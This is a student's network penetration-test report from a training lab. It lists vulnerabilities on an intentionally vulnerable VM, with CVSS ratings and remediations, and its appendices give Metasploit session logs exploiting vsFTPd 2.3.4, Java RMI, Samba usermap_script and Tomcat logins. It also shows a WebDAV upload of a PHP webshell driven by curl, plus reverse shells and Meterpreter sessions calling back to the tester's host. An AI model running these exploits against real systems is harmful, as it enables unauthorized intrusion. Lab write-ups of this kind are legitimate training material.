Network Pentest Report 2023

Table of Contents

Executive Summary---------- **2**
Key Findings---------- **3**
Vulnerability Findings---------- 3
Summary of Findings---------- 3
Vulnerability Details---------- 4
References---------- **7**
Appendix Supplementary Information---------- **7**
Appendix 01: vsFTPd: remote code execution CVE-2011-2523---------- **7**
Appendix 02: Java RMI - Java code execution---------- **8**
Appendix 03: Http Web Dav -File upload---------- **11**
Appendix 04: Tomcat:Default login credentials---------- **12**
Step 1: find ways to exploit tomcat---------- 12
Step 2: executing the exploit---------- 14
Appendix 05: SMB:command execution CVE-2007-2447---------- **14**
Step 1: executing info gathering---------- 14
Step 2: begin exploit---------- 15

Executive Summary

•This report is intended to provide detail and context on security issues discovered during Network pentest workshop. This report provides technical descriptions and security weaknesses found.

- Synopsis

For training and learning purposes, the engagement of an active directory server with vulnerabilities was provided for the Network pentest Workshop (july 2023). Engagement of the exercises were completed by Taz Dunn.

The report will focus on security vulnerabilities, exploits, and mitigations; all within the training environment. It will include issues with security, vulnerabilities and recommendations of the testing environment. All vulnerabilities were intentional and for demonstration purposes.

- Scope of Work

All following vulnerabilities were conducted within various virtual machines, in the same network.

Key Findings

Vulnerabilities & security issues found:

- vsFTPd 2.3.4 (CVE-2011-2523)- Obtaining access through remote backdoor execution
- Tomcat 5.5.0 - Default login credentials
- SMB samba 3.0.20(CVE-2007-2447) - Remote command execution
- Java RMI - Java Code Execution
- WebDav- Malicious File upload

Vulnerability Findings

The severity for each finding is measured based on CVSSv3.1 metrics, which is available using the CVSS 3.1 calculator the following risk classifications:

Rating	CVSS Score
Low	0.1 - 3.9
Medium	4.0 - 6.9
High	7.0 - 8.9
Critical	9.0 - 10.0

Summary of Findings

In order from Critical to Low.

Vulnerability	Severity	CVSS Score
Java RMI-Java Code Execution	Critical	9.8
VsFTPd-Obtaining access through remote backdoor execution	Critical	9.8
WebDav- Malicious file upload	High	7.6
Tomcat-Default login credentials	High	7.3
SMB-Command execution	Medium	6.3

Vulnerability Details

Java RMI

Severity	Critical
CVSS 3.0	3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Details	can potentially allow remote attackers to exploit the RMI registry's default configuration and gain unauthorized access to or execute arbitrary code on the targeted system.
target	10.0.1.3 port 1099
impact	Remote Code Execution: An attacker can exploit the vulnerability to execute arbitrary code on the target system, potentially leading to a complete compromise of the system. Unauthorized Access: The insecure default configuration may allow unauthorized users to access sensitive resources or perform privileged actions on the vulnerable system. Denial of Service: Attackers could potentially exploit the vulnerability to disrupt the availability of the Java RMI service, causing services to become unresponsive or crash.
remediation	apply the relevant patches or updates provided by the software vendor. Additionally, configuring the Java RMI service securely, such as disabling unnecessary services or implementing proper access control measures, can help prevent exploitation of this vulnerability.
reference	https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/java_rmi_server

VsFTPd 2.3.4

Severity	Critical
CVSS 3.0	3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Details	Contains a backdoor and a command injection vulnerability. The backdoor allows an attacker to open a shell. The command injection vulnerability allows an attacker to execute arbitrary OS commands by using special characters in the input.

target	10.0.1.3 port 21
impact	Exploiting this vulnerability could allow an attacker to execute arbitrary code remotely on the affected system. This means that an unauthorized individual could gain unauthorized access to the system, potentially leading to unauthorized data access, modification, or deletion. The attacker could also potentially gain control over the entire system, compromising its integrity and availability.
remediation	Update the version
Reference	https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/

HTTP WebDav

Severity	High
CVSS	CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L
Details	
target	10.0.1.3 port
Impact	
Remediation	
Reference	https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav

Tomcat 5.5.0

Severity	High
CVSS	3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
Details	Blank default password for the administrative user, which allows remote attackers to gain privileges.
target	10.0.1.3 port 8180
impact	it could lead to unauthorized access to the server and potentially compromise sensitive data or resources hosted on the server. The attacker may be able to view, modify, or delete data, or even execute arbitrary code

	on the system.
remediation	Change the default credentials to make it more difficult for hackers to brute force using password crack tools.
Reference	https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_upload/

Samba 3.0.20- debian

Severity	Medium
CVSS	3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Details	This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication.
target	10.0.1.3 port 445
impact	1. Compromise of sensitive data: The attacker may be able to access, modify, or delete sensitive information stored on the system, potentially leading to data breaches and privacy violations. 2. Unauthorized system control: With remote code execution, the attacker could gain control over the affected system, allowing them to perform unauthorized actions, install malware, or disrupt services. 3. Propagation to other systems: Once inside the system, the attacker may attempt to spread the exploit to other vulnerable systems within the network, potentially causing a widespread security incident.
remediation	Update the current version of SMB to a newer version
reference	https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script/

References

Vulnerability guide/how to: https://www.rapid7.com/
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/java_rmi_server
WebDav - HackTricks

- Lab Vulnerabilities

Lab vulnerabilities were pre planned and guided to ensure concepts teached were understood. Lab exercises were performed solo with reference material and minor guidance.

Appendix Supplementary Information

The following appendices provide detailed explanations for the vulnerabilities discovered and outlined in Vulnerability Findings.

Appendix 01: vsFTPd: remote code execution CVE-2011-2523

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                       normal  No     Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.0.1.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.1.3:21 - USER: 331 Please specify the password.
[+] 10.0.1.3:21 - Backdoor service has been spawned, handling...
[+] 10.0.1.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.1.1:39291 -> 10.0.1.3:6200) at 2023-08-07 20:09:27 -0400
```

After editing the required info for the module of a backdoor execution as shown in image above. We successfully created a shell using a payload configured using a unix command.

```
[*] 10.0.1.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.0.1.3:21 - USER: 331 Please specify the password.
[+] 10.0.1.3:21 - Backdoor service has been spawned, handling ...
[+] 10.0.1.3:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.1.1:39291 → 10.0.1.3:6200) at 2023-08-07 20:09:27 -0400

whoami
root
ls
bin
boot
cdrom
core
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

After the process of gaining access to vsFTPd on port 21 I typed a simple whoami and an LS command to see what is on the user and the image shows various directories that can be vulnerable for further exploitation.

Appendix 02: Java RMI - Java code execution

```
kali@kali: ~
@metasploitable2: /        kali@kali: ~        kali@kali: ~
kali@kali: ~ 177x41
      .dOOo WM.OOOOocccxOOOO.MX xOOd.
        ,kOl M.OOOOOOOOOOOOOO.M dOk,
          :kk;.OOOOOOOOOOOOOO.;Ok:
            ;kOOOOOOOOOOOOOOOk:
              ,xOOOOOOOOOOOx,
                .lOOOOOOOOl.
                   ,dOd,
                     .

      =[ metasploit v6.3.4-dev                           ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java rmi

Matching Modules
================

   #   Name                                                      Disclosure Date  Rank       Check  Description
   -   ----                                                      ---------------  ----       -----  -----------
   0   exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce  2019-05-22       excellent  Yes    Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
   1   exploit/multi/misc/java_jmx_server                        2013-05-22       excellent  Yes    Java JMX Server Insecure Configuration Java Code Execution
   2   auxiliary/scanner/misc/java_jmx_server                    2013-05-22       normal     No     Java JMX Server Insecure Endpoint Code Execution Scanner
   3   auxiliary/gather/java_rmi_registry                                         normal     No     Java RMI Registry Interfaces Enumeration
   4   exploit/multi/misc/java_rmi_server                        2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   5   auxiliary/scanner/misc/java_rmi_server                    2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   6   exploit/multi/browser/java_rmi_connection_impl            2010-03-31       excellent  No     Java RMIConnectionImpl Deserialization Privilege Escalation
   7   exploit/multi/browser/java_signed_applet                  1997-02-19       excellent  No     Java Signed Applet Social Engineering Code Execution
   8   exploit/multi/http/jenkins_metaprogramming                2019-01-08       excellent  Yes    Jenkins ACL Bypass and Metaprogramming RCE
   9   exploit/linux/misc/jenkins_java_deserialize               2015-11-18       excellent  Yes    Jenkins CLI RMI Java Deserialization Vulnerability
   10  exploit/multi/browser/firefox_xpi_bootstrapped_addon      2007-06-27       excellent  No     Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
   11  exploit/multi/http/totaljs_cms_widget_exec                2019-08-30       excellent  Yes    Total.js CMS 12 Widget JavaScript Code Injection
   12  exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc    2021-09-21       manual     Yes    VMware vCenter vScalation Priv Esc

Interact with a module by name or index. For example info 12, use 12 or use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
```

After using msfconsole to see if there is an exploit for java RMI and saw a module for code execution which further info can be found on the reference section for java RMI.

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 443
LPORT => 443
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 10.0.2.4:443
[*] 10.0.1.3:1099 - Using URL: http://10.0.2.4:8080/Pem6yq
[*] 10.0.1.3:1099 - Server started.
[*] 10.0.1.3:1099 - Sending RMI Header...
[*] 10.0.1.3:1099 - Sending RMI Call...
[*] 10.0.1.3:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 10.0.1.3
[*] Meterpreter session 1 opened (10.0.2.4:443 -> 10.0.1.3:37461) at 2023-11-30 18:13:40 -0500

meterpreter >
```

After changing the required which we changed with the set command in the image above then ran the module and got access to Java RMI because the prompt changed into meterpreter which is a staged payload which we used to exploit this service.

After seeing if we can see directories or users in the image below a lot of things which I can gain info from but the one that sticks out is the directory listed as root. Which can give me access to the whole system and various files which are shown in the next images.

```
meterpreter > ls
Listing: /
==========

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
100667/rw-rw-rwx  0        fil   2023-11-30 17:37:07 -0500  .dockerenv
040666/rw-rw-rw-  4096     dir   2018-01-27 21:30:33 -0500  bin
040666/rw-rw-rw-  4096     dir   2012-05-13 23:36:28 -0400  boot
040666/rw-rw-rw-  4096     dir   2010-03-16 18:55:51 -0400  cdrom
100666/rw-rw-rw-  1499136  fil   2018-01-28 02:08:26 -0500  core
040666/rw-rw-rw-  400      dir   2023-11-30 17:37:25 -0500  dev
040666/rw-rw-rw-  4096     dir   2023-11-30 17:37:07 -0500  etc
040666/rw-rw-rw-  4096     dir   2010-04-16 02:16:02 -0400  home
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:40 -0400  initrd
100666/rw-rw-rw-  7929183  fil   2012-05-13 23:35:56 -0400  initrd.img
040666/rw-rw-rw-  4096     dir   2018-01-27 22:19:51 -0500  lib
040666/rw-rw-rw-  4096     dir   2010-03-16 18:55:15 -0400  lost+found
040666/rw-rw-rw-  4096     dir   2010-03-16 18:55:52 -0400  media
040666/rw-rw-rw-  4096     dir   2017-07-16 21:05:20 -0400  mnt
100666/rw-rw-rw-  14473    fil   2023-11-30 17:37:26 -0500  nohup.out
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:39 -0400  opt
040666/rw-rw-rw-  0        dir   2023-11-30 17:37:07 -0500  proc
040666/rw-rw-rw-  4096     dir   2023-11-30 17:37:26 -0500  root
040666/rw-rw-rw-  4096     dir   2012-05-13 21:54:53 -0400  sbin
040666/rw-rw-rw-  4096     dir   2010-03-16 18:57:38 -0400  srv
040444/r--r--r--  0        dir   2023-11-30 17:37:07 -0500  sys
040666/rw-rw-rw-  4096     dir   2023-11-30 18:13:41 -0500  tmp
040666/rw-rw-rw-  4096     dir   2010-04-28 00:06:37 -0400  usr
040666/rw-rw-rw-  4096     dir   2012-05-20 17:30:19 -0400  var
100666/rw-rw-rw-  1987288  fil   2008-04-10 12:55:41 -0400  vmlinuz
```

```
meterpreter > cd root
meterpreter > ls
Listing: /root
==============

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100667/rw-rw-rwx  539   fil   2023-11-30 17:37:26 -0500  .Xauthority
100667/rw-rw-rwx  0     fil   2023-11-30 17:37:07 -0500  .bash_history
100667/rw-rw-rwx  2227  fil   2007-10-20 07:51:33 -0400  .bashrc
040667/rw-rw-rwx  4096  dir   2012-05-20 15:08:17 -0400  .config
040667/rw-rw-rwx  4096  dir   2012-05-20 15:13:12 -0400  .filezilla
040667/rw-rw-rwx  4096  dir   2023-11-30 17:37:27 -0500  .fluxbox
040667/rw-rw-rwx  4096  dir   2012-05-20 15:38:14 -0400  .gconf
040667/rw-rw-rwx  4096  dir   2012-05-20 15:40:31 -0400  .gconfd
040667/rw-rw-rwx  4096  dir   2012-05-20 15:09:04 -0400  .gstreamer-0.10
040667/rw-rw-rwx  4096  dir   2012-05-20 15:07:31 -0400  .mozilla
100667/rw-rw-rwx  141   fil   2007-10-20 07:51:33 -0400  .profile
040667/rw-rw-rwx  4096  dir   2012-05-20 15:11:16 -0400  .purple
100667/rw-rw-rwx  4     fil   2012-05-20 14:25:01 -0400  .rhosts
040667/rw-rw-rwx  4096  dir   2012-05-20 14:21:50 -0400  .ssh
040667/rw-rw-rwx  4096  dir   2023-11-30 17:37:26 -0500  .vnc
040666/rw-rw-rw-  4096  dir   2012-05-20 15:08:16 -0400  Desktop
100666/rw-rw-rw-  401   fil   2012-05-20 15:55:53 -0400  reset_logs.sh
100666/rw-rw-rw-  140   fil   2023-11-30 17:37:27 -0500  vnc.log
```

Appendix 03: Http Web Dav -File upload

The last port I tested was on port 80 which runs a http protocol which doesn't send any of your information encrypted when sending it to that port. Knowing this i research a way to exploit it by using this site:https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/put-method-webdav

```
┌──(kali㉿kali)-[~]
└─$ davtest -url http://10.0.1.3/dav/
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://10.0.1.3/dav
********************************************************
NOTE    Random string for this session: 05aaXWUdZVKn
********************************************************
 Creating directory
MKCOL           SUCCEED:                Created http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn
********************************************************
 Sending test files
PUT     shtml   SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.shtml
PUT     jsp     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.jsp
PUT     cgi     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.cgi
PUT     cfm     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.cfm
PUT     php     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.php
PUT     pl      SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.pl
PUT     asp     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.asp
PUT     aspx    SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.aspx
PUT     html    SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.html
PUT     txt     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.txt
PUT     jhtml   SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.jhtml
********************************************************
 Checking for test file execution
EXEC    shtml   FAIL
EXEC    jsp     FAIL
EXEC    cgi     FAIL
EXEC    cfm     FAIL
EXEC    php     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.php
EXEC    php     FAIL
EXEC    pl      FAIL
EXEC    asp     FAIL
EXEC    aspx    FAIL
EXEC    html    SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.html
EXEC    html    FAIL
EXEC    txt     SUCCEED:        http://10.0.1.3/dav/DavTestDir_05aaXWUdZVKn/davtest_05aaXWUdZVKn.txt
EXEC    txt     FAIL
EXEC    jhtml   FAIL
```

Looking at the test files once running the davtest command on the website and the one that stood out to me was the php file. Knowing this I can create a php webshell file to gain access to various directories by simply uploading a malicious file.

```
┌──(kali㉿kali)-[~]
└─$ cadaver http://10.0.1.3/dav
dav:/dav/> put Basicwebshell.php
Uploading Basicwebshell.php to `/dav/Basicwebshell.php':
Progress: [=============================>] 100.0% of 44 bytes succeeded.
dav:/dav/>
```

Now that the webshell file was uploaded, the curl command allows you to make website requests using the following in the images to see if I gained access to the server.

```
┌──(kali㉿kali)-[~]
└─$ curl http://10.0.1.3/dav/Basicwebshell.php?cmd=whoami
www-data
www-data

┌──(kali㉿kali)-[~]
└─$ curl http://10.0.1.3/dav/Basicwebshell.php?cmd=ls
Basicwebshell.php
DavTestDir_05aaXWUdZVKn
DavTestDir_05aaXWUdZVKn

┌──(kali㉿kali)-[~]
└─$
```

```
┌──(kali㉿kali)-[~]
└─$ curl http://10.0.1.3/dav/Basicwebshell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

I can upgrade this web shell into a full reverse shell creating a command to allow us to elevate our privileges as root.

Appendix 04: Tomcat:Default login credentials

Step 1: find ways to exploit tomcat

I found a version number for tomcat which can be used to find vulnerabilities. Next, I used searchsploit to see what is out there that can be used to gain access to info in tomcat.

```
┌──(kali㉿kali)-[~]
└─$ searchsploit Apache tomcat/5.5
Exploits: No Results
Shellcodes: No Results

┌──(kali㉿kali)-[~]
└─$ !!

┌──(kali㉿kali)-[~]
└─$ searchsploit Apache tomcat 5.5
---------------------------------------------------------------------------
 Exploit Title
---------------------------------------------------------------------------
Apache Tomcat 5.5.0 < 5.5.29 / 6.0.0 < 6.0.26 - Information Disclosure
Apache Tomcat 5.5.15 - cal2.jsp Cross-Site Scripting
Apache Tomcat 5.5.25 - Cross-Site Request Forgery
Apache Tomcat < 5.5.17 - Remote Directory Listing
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (1)
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution (2)
```

```
> search tomcat

ing Modules

Name                                                    Disclosure Date  Rank       Check  Description
---                                                     ---------------  ----       -----  -----------
auxiliary/dos/http/apache_commons_fileupload_dos        2014-02-06       normal     No     Apache Commons FileUpload and Apache Tomcat DoS
exploit/multi/http/struts_dev_mode                      2012-01-06       excellent  Yes    Apache Struts 2 Developer Mode OGNL Execution
exploit/multi/http/struts2_namespace_ognl               2018-08-22       excellent  Yes    Apache Struts 2 Namespace Redirect OGNL Injection
exploit/multi/http/struts_code_exec_classloader         2014-03-06       manual     No     Apache Struts ClassLoader Manipulation Remote Code Execution
auxiliary/admin/http/tomcat_ghostcat                    2020-02-20       normal     Yes    Apache Tomcat AJP File Read
exploit/windows/http/tomcat_cgi_cmdlineargs             2019-04-10       excellent  Yes    Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability
exploit/multi/http/tomcat_mgr_deploy                    2009-11-09       excellent  Yes    Apache Tomcat Manager Application Deployer Authenticated Code Execution
exploit/multi/http/tomcat_mgr_upload                    2009-11-09       excellent  Yes    Apache Tomcat Manager Authenticated Upload Code Execution
auxiliary/dos/http/apache_tomcat_transfer_encoding      2010-07-09       normal     No     Apache Tomcat Transfer-Encoding Information Disclosure and DoS
auxiliary/scanner/http/tomcat_enum                                       normal     No     Apache Tomcat User Enumeration
exploit/linux/local/tomcat_ubuntu_log_init_priv_esc     2016-09-30       manual     Yes    Apache Tomcat on Ubuntu Log Init Privilege Escalation
exploit/multi/http/atlassian_confluence_webwork_ognl_injection 2021-08-25 excellent  Yes    Atlassian Confluence WebWork OGNL Injection
exploit/windows/http/cayin_xpost_sql_rce                2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
exploit/multi/http/cisco_dcnm_upload_2019               2019-06-26       excellent  Yes    Cisco Data Center Network Manager Unauthenticated Remote Code Execution
exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec 2021-05-05  excellent  Yes    Cisco HyperFlex HX Data Platform Command Execution
exploit/linux/http/cisco_hyperflex_file_upload_rce      2021-05-05       excellent  Yes    Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)
exploit/linux/http/cpi_tararchive_upload                2019-05-15       excellent  Yes    Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability
exploit/linux/http/cisco_prime_inf_rce                  2018-10-04       excellent  Yes    Cisco Prime Infrastructure Unauthenticated Remote Code Execution
post/multi/gather/tomcat_gather                                          normal     No     Gather Tomcat Credentials
auxiliary/dos/http/hashcollision_dos                    2011-12-28       normal     No     Hashtable Collisions
auxiliary/admin/http/ibm_drm_download                   2020-04-21       normal     Yes    IBM Data Risk Manager Arbitrary File Download
exploit/linux/http/lucee_admin_imgprocess_file_write    2021-01-15       excellent  Yes    Lucee Administrator imgProcess.cfm Arbitrary File Write
exploit/linux/http/mobileiron_core_log4shell            2021-12-12       excellent  Yes    MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)
exploit/multi/http/zenworks_configuration_management_upload 2015-04-07   excellent  Yes    Novell ZENworks Configuration Management Arbitrary File Upload
exploit/multi/http/spring_framework_rce_spring4shell    2022-03-31       manual     Yes    Spring Framework Class property RCE (Spring4Shell)
auxiliary/admin/http/tomcat_administration                               normal     No     Tomcat Administration Tool Default Access
auxiliary/scanner/http/tomcat_mgr_login                                  normal     No     Tomcat Application Manager Login Utility
exploit/multi/http/tomcat_jsp_upload_bypass             2017-10-03       excellent  Yes    Tomcat RCE via JSP Upload Bypass
auxiliary/admin/http/tomcat_utf8_traversal              2009-01-09       normal     No     Tomcat UTF-8 Directory Traversal Vulnerability
auxiliary/admin/http/trendmicro_dlp_traversal           2009-01-09       normal     No     TrendMicro Data Loss Prevention 5.5 Directory Traversal
post/windows/gather/enum_tomcat                                          normal     No     Windows Gather Apache Tomcat Enumeration
```

best module

After researching and using the resources from rapid 7 tomcat needs login credentials in order to get information on a user using their software. After searching tomcat on the msf framework it brought up an admin login utility exploit module.

Step 2: executing the exploit

```
msf6 auxiliary(scanner/http/tomcat_enum) > use 26
msf6 auxiliary(scanner/http/tomcat_mgr_login) > options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting                                                                  Required  Description
   ----              ---------------                                                                  --------  -----------
   BLANK_PASSWORDS   false                                                                            no        Try blank passwords for all users
   BRUTEFORCE_SPEED  5                                                                                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                                            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false                                                                            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false                                                                            no        Add all users in the current database to the list
   DB_SKIP_EXISTING  none                                                                             no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
   PASSWORD                                                                                           no        The HTTP password to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt       no        File containing passwords, one per line
   Proxies                                                                                            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                                                                                             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT             8080                                                                             yes       The target port (TCP)
   SSL               false                                                                            no        Negotiate SSL/TLS for outgoing connections
   STOP_ON_SUCCESS   false                                                                            yes       Stop guessing when a credential works for a host
   TARGETURI         /manager/html                                                                    yes       URI for Manager login. Default is /manager/html
   THREADS           1                                                                                yes       The number of concurrent threads (max one per host)
   USERNAME                                                                                           no        The HTTP username to specify for authentication
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt   no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false                                                                            no        Try the username as the password for all users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt      no        File containing users, one per line
   VERBOSE           true                                                                             yes       Whether to print output for all attempts
   VHOST                                                                                              no        HTTP server virtual host
```

The module I selected for this service was a brute force password attack. After following through a guide i found on rapid7 configuring the requirements i finally got successful login credentials to login on the tomcat site as shown in the next image.

```
[-] 10.0.1.3:8180 - LOGIN FAILED: root:r00t (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:toor (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:password1 (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:j2deployer (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:OvW*busr1 (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:kdsxc (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:owaspba (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:ADMIN (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: root:xampp (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: tomcat:admin (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 10.0.1.3:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 10.0.1.3:8180 - Login Successful: [redacted]
```

Appendix 05: SMB:command execution CVE-2007-2447

Step 1: executing info gathering

After the research on rapid 7 mfs6 gave me a smb version in auxiliary which is a module that scans.

```
msf6 > search smb auxiliary version

Matching Modules
================

   #  Name                                                     Disclosure Date  Rank    Check  Description
   -  ----                                                     ---------------  ----    -----  -----------
   0  auxiliary/dos/windows/smb/rras_vls_null_deref            2006-06-14       normal  No     Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
   1  auxiliary/dos/windows/smb/ms11_019_electbowser                            normal  No     Microsoft Windows Browser Pool DoS
   2  auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow                  normal  No     Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
   3  auxiliary/scanner/smb/smb_version                                         normal  No     SMB Version Detection
```

```
msf6 > use 9
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS  1                 yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf6 auxiliary(scanner/smb/smb_version) > run

[*] 10.0.1.3:445          - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.0.1.3:445          -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.0.1.3:             - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Now that a version is found in SMB I can find a vulnerability from changing certain data from updating the service. Let's find what exploit can be used to gain information or access to data.

Step 2: begin exploit

After finding a guide on Rapid 7 the version of SMB from the previous image in step 2 using the msf6 console and using a module called usermap script.

```
msf6 auxiliary(scanner/smb/smb_version) > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.1.3
RHOSTS => 10.0.1.3
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.0.2.15:4444
